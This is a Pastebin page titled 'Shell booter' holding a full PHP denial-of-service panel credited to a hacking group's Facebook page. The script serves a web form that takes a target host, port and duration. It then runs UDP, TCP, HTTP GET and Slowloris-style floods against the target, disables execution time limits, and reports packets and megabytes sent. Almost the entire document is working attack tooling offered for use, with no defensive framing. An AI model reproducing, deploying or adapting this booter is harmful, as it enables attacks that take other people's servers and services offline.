indongsaeng

Shell booter

Oct 25th, 2013
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.05 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. http://facebook.com/DavaoCyberArmy
  5. http://facebook.com/wala.p.lng
  6. */
  7.  
  8.  
  9. $type = $_GET['type'];
  10. $host = $_GET['host'];
  11. $time = $_GET['time'];
  12. $port = $_GET['port'];
  13. $page = $_GET['page'];
  14. $myna = $_SERVER[PHP_SELF];
  15.  
  16. $page = '<html>' . "\n";
  17. $page .= ' <head>' . "\n";
  18. $page .= ' <style type="text/css">' . "\n";
  19. $page .= ' #body {' . "\n";
  20. $page .= ' background-image: url(\'http://img15.imageshack.us/img15/7472/testqjv.png');' . "\n";
  21. $page .= ' font-family: Verdana;' . "\n";
  22. $page .= ' color: #1b84ec;' . "\n";
  23. $page .= ' font-size: 13px;' . "\n";
  24. $page .= ' text-align: center' . "\n";
  25. $page .= ' }' . "\n";
  26. $page .= ' #logo {' . "\n";
  27. $page .= ' width: 100%; ' . "\n";
  28. $page .= ' height: 200px; ' . "\n";
  29. $page .= ' background-image: url(\'http://dl.balyan.ir/image/hack/tested.png'); ' . "\n";
  30. $page .= ' background-repeat: no-repeat; ' . "\n";
  31. $page .= ' background-position: center;"' . "\n";
  32. $page .= ' }' . "\n";
  33. $page .= ' .text {' . "\n";
  34. $page .= ' font-family: Verdana;' . "\n";
  35. $page .= ' color: #1b84ec;' . "\n";
  36. $page .= ' font-size: 13px;' . "\n";
  37. $page .= ' margin: auto' . "\n";
  38. $page .= ' }' . "\n";
  39. $page .= ' </style>' . "\n";
  40. $page .= ' </head>' . "\n";
  41. $page .= ' <body id="body">' . "\n";
  42. $page .= ' <br /><br />' . "\n";
  43. $page .= ' <a href="' . $myna . '"><div id="logo"></div></a>' . "\n";
  44. $page .= ' <br /><br />' . "\n";
  45. $page .= ' <div style="width: 40%; border: 1px solid; boder-color: #1b84ec; background-color: #191919; margin: auto"><br />' . "\n";
  46.  
  47. if ( isset( $_GET['type'] ) )
  48. {
  49. if ( $type == "UDP" )
  50. {
  51. if ( $_GET['host'] != '' && $_GET['time'] != '' )
  52. {
  53. $page .= UDP_FLOOD( $host , $time );
  54. }
  55. else
  56. {
  57. $page .= ' <b>UDP Flood</b><br /><br />' . "\n";
  58. $page .= ' <form action="' . $myna . '" method="get">' . "\n";
  59. $page .= ' <table class="text">' . "\n";
  60. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  61. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  62. $page .= ' </table>' . "\n";
  63. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  64. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  65. $page .= ' </form>' . "\n";
  66. }
  67. }
  68. elseif ( $type == "TCP" )
  69. {
  70. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' )
  71. {
  72. $page .= TCP_FLOOD ( $host , $port , $time );
  73. }
  74. else
  75. {
  76. $page .= ' <b>TCP Flood</b><br /><br />' . "\n";
  77. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  78. $page .= ' <table class="text">' . "\n";
  79. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  80. $page .= ' <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
  81. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  82. $page .= ' </table>' . "\n";
  83. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  84. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  85. $page .= ' </form>' . "\n";
  86. }
  87. }
  88. elseif ( $type == "HTTP" )
  89. {
  90. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  91. {
  92. $page .= HTTP_FLOOD ( $host , $page , $time );
  93. }
  94. else
  95. {
  96. $page .= ' <b>HTTP Flood</b><br /><br />' . "\n";
  97. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  98. $page .= ' <table class="text">' . "\n";
  99. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  100. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  101. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  102. $page .= ' </table>' . "\n";
  103. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  104. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  105. $page .= ' </form>' . "\n";
  106. }
  107. }
  108. elseif ( $type == "SLOWLORIS" )
  109. {
  110. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  111. {
  112. $page .= SLOWLORIS ( $host , $page , $time );
  113. }
  114. else
  115. {
  116. $page .= ' <b>Slowloris</b><br /><br />' . "\n";
  117. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  118. $page .= ' <table class="text">' . "\n";
  119. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  120. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  121. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  122. $page .= ' </table>' . "\n";
  123. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  124. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  125. $page .= ' </form>' . "\n";
  126. }
  127. }
  128. else
  129. {
  130. $page .= ' <b>Select Flood-Type:</b><br /><br />' . "\n";
  131. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  132. $page .= ' <table class="text">' . "\n";
  133. $page .= ' <tr><td><input type="radio" name="type" value="UDP">UDP Flood</td></tr>' . "\n";
  134. $page .= ' <tr><td><input type="radio" name="type" value="TCP">TCP Flood</td></tr>' . "\n";
  135. $page .= ' <tr><td><input type="radio" name="type" value="HTTP">HTTP Flood</td></tr>' . "\n";
  136. $page .= ' <tr><td><input type="radio" name="type" value="SLOWLORIS">Slowloris</td></tr>' . "\n";
  137. $page .= ' </table>' . "\n";
  138. $page .= ' <br /><input type="submit" style="width: 20%" value="Next >" />' . "\n";
  139. $page .= ' </form>' . "\n";
  140. }
  141. }
  142. else
  143. {
  144. $page .= ' <b>Select Flood-Type:</b><br /><br />' . "\n";
  145. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  146. $page .= ' <table class="text">' . "\n";
  147. $page .= ' <tr><td><input type="radio" name="type" value="UDP">UDP Flood</td></tr>' . "\n";
  148. $page .= ' <tr><td><input type="radio" name="type" value="TCP">TCP Flood</td></tr>' . "\n";
  149. $page .= ' <tr><td><input type="radio" name="type" value="HTTP">HTTP Flood</td></tr>' . "\n";
  150. $page .= ' <tr><td><input type="radio" name="type" value="SLOWLORIS">Slowloris</td></tr>' . "\n";
  151. $page .= ' </table>' . "\n";
  152. $page .= ' <br /><input type="submit" style="width: 20%" value="Next >" />' . "\n";
  153. $page .= ' </form>' . "\n";
  154. }
  155.  
  156. $page .= ' <br /></div>' . "\n";
  157. $page .= ' </body>' . "\n";
  158. $page .= '</html>' . "\n";
  159.  
  160. print$page;
  161.  
  162. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  163. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  164. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  165.  
  166. function UDP_Flood( $host , $length )
  167. {
  168. ignore_user_abort(TRUE);
  169. set_time_limit(0);
  170.  
  171. $max_time = time() + $length;
  172.  
  173. $packet = "";
  174. $packets = 0;
  175.  
  176. while( strlen ( $packet ) < 65000 )
  177. {
  178. $packet .= Chr( 255 );
  179. }
  180.  
  181. while( 1 )
  182. {
  183. if ( time() > $max_time )
  184. {
  185. break;
  186. }
  187.  
  188. $rand = rand( 1 , 65535 );
  189. @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  190. if( $fp )
  191. {
  192. fwrite( $fp , $packet );
  193. fclose( $fp );
  194. $packets++;
  195. }
  196. }
  197.  
  198. if ( $packets == 0 )
  199. {
  200. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  201. $rtn .= '<table class="text">' . "\n";
  202. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  203. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  204. $rtn .= '</table>' . "\n";
  205. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  206. }
  207. else
  208. {
  209. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  210. $rtn .= '<table class="text">' . "\n";
  211. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  212. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  213. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  214. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  215. $rtn .= '</table>' . "\n";
  216. }
  217.  
  218. return$rtn;
  219. }
  220.  
  221. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  222. // TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  223. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  224.  
  225. function TCP_Flood( $host , $port , $length )
  226. {
  227. ignore_user_abort(TRUE);
  228. set_time_limit(0);
  229.  
  230. $max_time = time() + $length;
  231.  
  232. $packet = "";
  233. $packets = 0;
  234.  
  235. while( strlen ( $packet ) < 65000 )
  236. {
  237. $packet .= Chr( 255 );
  238. }
  239.  
  240. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  241.  
  242. while( 1 )
  243. {
  244. if ( time() > $max_time )
  245. {
  246. break;
  247. }
  248.  
  249. if( $fp )
  250. {
  251. fwrite( $fp , $packet );
  252. fclose( $fp );
  253. $packets++;
  254. }
  255. else
  256. {
  257. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  258. }
  259. }
  260.  
  261. if ( $packets == 0 )
  262. {
  263. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  264. $rtn .= '<table class="text">' . "\n";
  265. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  266. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  267. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  268. $rtn .= '</table>' . "\n";
  269. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  270. }
  271. else
  272. {
  273. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  274. $rtn .= '<table class="text">' . "\n";
  275. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  276. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  277. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  278. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  279. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  280. $rtn .= '</table>' . "\n";
  281. }
  282.  
  283. return$rtn;
  284. }
  285.  
  286. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  287. // HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
  288. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  289.  
  290. function HTTP_Flood( $host , $page , $length )
  291. {
  292. ignore_user_abort(TRUE);
  293. set_time_limit(0);
  294.  
  295. if ( $page == '' )
  296. {
  297. $page = '/';
  298. }
  299.  
  300. $max_time = time() + $length;
  301.  
  302. $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
  303. $packet .= 'Host: ' . $host . "\r\n";
  304. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  305. $packet .= 'Keep-alive: 300' . "\r\n";
  306. $packet .= 'Connection: keep-alive' . "\r\n\r\n";
  307.  
  308. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  309. while( 1 )
  310. {
  311. if ( time() > $max_time )
  312. {
  313. break;
  314. }
  315.  
  316. if( $fp )
  317. {
  318. fwrite( $fp , $packet );
  319. fclose( $fp );
  320. $packets++;
  321. }
  322. else
  323. {
  324. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  325. }
  326. }
  327.  
  328. if ( $packets == 0 )
  329. {
  330. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  331. $rtn .= '<table class="text">' . "\n";
  332. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  333. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  334. $rtn .= '</table>' . "\n";
  335. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  336. }
  337. else
  338. {
  339. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  340. $rtn .= '<table class="text">' . "\n";
  341. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  342. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  343. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  344. $rtn .= '</table>' . "\n";
  345. }
  346.  
  347. return$rtn;
  348. }
  349.  
  350. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  351. // SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
  352. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  353.  
  354. function SLOWLORIS( $host , $page , $length )
  355. {
  356. ignore_user_abort(TRUE);
  357. set_time_limit(0);
  358.  
  359. if ( $page == '' )
  360. {
  361. $page = '/';
  362. }
  363.  
  364. $max_time = time() + $length;
  365.  
  366. $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
  367. $packet .= 'Host: ' . $host . "\r\n";
  368. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  369. $packet .= 'Content-length: 42' . "\r\n\r\n";
  370.  
  371. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  372. while( 1 )
  373. {
  374. if ( time() > $max_time )
  375. {
  376. break;
  377. }
  378.  
  379. if( $fp )
  380. {
  381. fwrite( $fp , $packet );
  382. fclose( $fp );
  383. $packets++;
  384. }
  385. else
  386. {
  387. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  388. }
  389. }
  390.  
  391. if ( $packets == 0 )
  392. {
  393. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  394. $rtn .= '<table class="text">' . "\n";
  395. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  396. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  397. $rtn .= '</table>' . "\n";
  398. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  399. }
  400. else
  401. {
  402. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  403. $rtn .= '<table class="text">' . "\n";
  404. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  405. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  406. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  407. $rtn .= '</table>' . "\n";
  408. }
  409.  
  410. return$rtn;
  411. }
  412. ?>
Add Comment
Please, Sign In to add comment